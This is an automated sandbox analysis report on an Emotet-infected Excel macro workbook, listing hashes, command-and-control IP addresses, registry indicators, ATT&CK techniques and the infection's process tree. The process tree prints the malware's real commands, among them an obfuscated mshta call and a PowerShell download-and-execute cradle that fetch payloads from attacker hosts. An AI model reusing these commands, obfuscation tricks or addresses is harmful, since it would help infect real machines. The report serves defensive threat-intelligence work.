emotet | c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0

Analysis

max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
19-01-2022 22:09

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General

Target

96532927739985571.xlsm
Size

115KB
MD5

383a3c7cdb5a9070656164e0b90e41a5
SHA1

af0b4eedbd1c6d85705c26ebb3955f8b35a8cea8
SHA256

c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0
SHA512

c37692e7c9a60fcda701450a620f09c0c95db6e6a1ee3188c2897d09a621d80e3f0fb539506f458ab5c20a7e5adc8adfbe2bcad0860c4bb9484f6292eb391b9c

Score

10^/10

emotet epoch5 banker persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3296	2756	cmd.exe	54

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3800 created 2596	3800	WerFault.exe	69

Blocklisted process makes network request 6 IoCs

flow	pid	Process
39	2596	mshta.exe
48	1824	powershell.exe
50	1824	powershell.exe
57	384	rundll32.exe
58	384	rundll32.exe
60	384	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3320	rundll32.exe
840	rundll32.exe
1856	rundll32.exe
384	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bodslccmprms\sdli.cbd	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3464	2596	WerFault.exe	69

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2756	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1824	powershell.exe
1824	powershell.exe
3464	WerFault.exe
3464	WerFault.exe
384	rundll32.exe
384	rundll32.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeSystemtimePrivilege	3868	svchost.exe
Token: SeSystemtimePrivilege	3868	svchost.exe
Token: SeIncBasePriorityPrivilege	3868	svchost.exe
Token: SeSystemtimePrivilege	3868	svchost.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2968	2756	EXCEL.EXE	62
PID 2756 wrote to memory of 2968	2756	EXCEL.EXE	62
PID 2756 wrote to memory of 3296	2756	EXCEL.EXE	67
PID 2756 wrote to memory of 3296	2756	EXCEL.EXE	67
PID 3296 wrote to memory of 2596	3296	cmd.exe	69
PID 3296 wrote to memory of 2596	3296	cmd.exe	69
PID 2596 wrote to memory of 1824	2596	mshta.exe	72
PID 2596 wrote to memory of 1824	2596	mshta.exe	72
PID 3800 wrote to memory of 2596	3800	WerFault.exe	69
PID 3800 wrote to memory of 2596	3800	WerFault.exe	69
PID 1824 wrote to memory of 2972	1824	powershell.exe	77
PID 1824 wrote to memory of 2972	1824	powershell.exe	77
PID 2972 wrote to memory of 3320	2972	cmd.exe	78
PID 2972 wrote to memory of 3320	2972	cmd.exe	78
PID 2972 wrote to memory of 3320	2972	cmd.exe	78
PID 3320 wrote to memory of 840	3320	rundll32.exe	79
PID 3320 wrote to memory of 840	3320	rundll32.exe	79
PID 3320 wrote to memory of 840	3320	rundll32.exe	79
PID 840 wrote to memory of 1856	840	rundll32.exe	82
PID 840 wrote to memory of 1856	840	rundll32.exe	82
PID 840 wrote to memory of 1856	840	rundll32.exe	82
PID 1856 wrote to memory of 384	1856	rundll32.exe	83
PID 1856 wrote to memory of 384	1856	rundll32.exe	83
PID 1856 wrote to memory of 384	1856	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\96532927739985571.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1824
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3320
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:840
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bodslccmprms\sdli.cbd",scjJKjQc
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1856
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bodslccmprms\sdli.cbd",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:384
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2596 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1440

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 7b90fefbb2e94eea9e7d484f04c2d9be iSyVLAtTSEqkX70WXcCLsg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2172

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 2596 -ip 2596
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/384-1319-0x0000000004CF0000-0x0000000004D18000-memory.dmp

Filesize
160KB

Download
memory/384-1325-0x00000000050D0000-0x00000000050F8000-memory.dmp

Filesize
160KB

Download
memory/384-1313-0x0000000004AB0000-0x0000000004AD8000-memory.dmp

Filesize
160KB

Download
memory/384-1311-0x0000000004810000-0x0000000004838000-memory.dmp

Filesize
160KB

Download
memory/384-1309-0x00000000041E0000-0x0000000004208000-memory.dmp

Filesize
160KB

Download
memory/384-1317-0x0000000004BF0000-0x0000000004C18000-memory.dmp

Filesize
160KB

Download
memory/384-1315-0x0000000004B10000-0x0000000004B38000-memory.dmp

Filesize
160KB

Download
memory/384-1323-0x0000000004EE0000-0x0000000004F08000-memory.dmp

Filesize
160KB

Download
memory/384-1321-0x0000000004E00000-0x0000000004E28000-memory.dmp

Filesize
160KB

Download
memory/840-1299-0x0000000005280000-0x00000000052A8000-memory.dmp

Filesize
160KB

Download
memory/840-1304-0x0000000005460000-0x0000000005488000-memory.dmp

Filesize
160KB

Download
memory/840-1301-0x00000000052E0000-0x0000000005308000-memory.dmp

Filesize
160KB

Download
memory/840-1272-0x0000000005080000-0x00000000050A8000-memory.dmp

Filesize
160KB

Download
memory/840-1287-0x0000000005170000-0x0000000005198000-memory.dmp

Filesize
160KB

Download
memory/1824-844-0x000001954FED0000-0x0000019568090000-memory.dmp

Filesize
385.8MB

Download
memory/1824-835-0x0000019568040000-0x0000019568062000-memory.dmp

Filesize
136KB

Download
memory/1824-1249-0x0000019568630000-0x00000195686A6000-memory.dmp

Filesize
472KB

Download
memory/1824-1017-0x0000019568560000-0x00000195685A4000-memory.dmp

Filesize
272KB

Download
memory/1824-999-0x000001954FED0000-0x0000019568090000-memory.dmp

Filesize
385.8MB

Download
memory/1824-925-0x000001954FED0000-0x0000019568090000-memory.dmp

Filesize
385.8MB

Download
memory/2756-130-0x00007FFBA05F0000-0x00007FFBA0600000-memory.dmp

Filesize
64KB

Download
memory/2756-138-0x00007FFB9E360000-0x00007FFB9E370000-memory.dmp

Filesize
64KB

Download
memory/2756-137-0x00007FFB9E360000-0x00007FFB9E370000-memory.dmp

Filesize
64KB

Download
memory/2756-134-0x00007FFBA05F0000-0x00007FFBA0600000-memory.dmp

Filesize
64KB

Download
memory/2756-133-0x00007FFBA05F0000-0x00007FFBA0600000-memory.dmp

Filesize
64KB

Download
memory/2756-132-0x00007FFBA05F0000-0x00007FFBA0600000-memory.dmp

Filesize
64KB

Download
memory/2756-131-0x00007FFBA05F0000-0x00007FFBA0600000-memory.dmp

Filesize
64KB

Download
memory/3320-1192-0x0000000004210000-0x0000000004238000-memory.dmp

Filesize
160KB

Download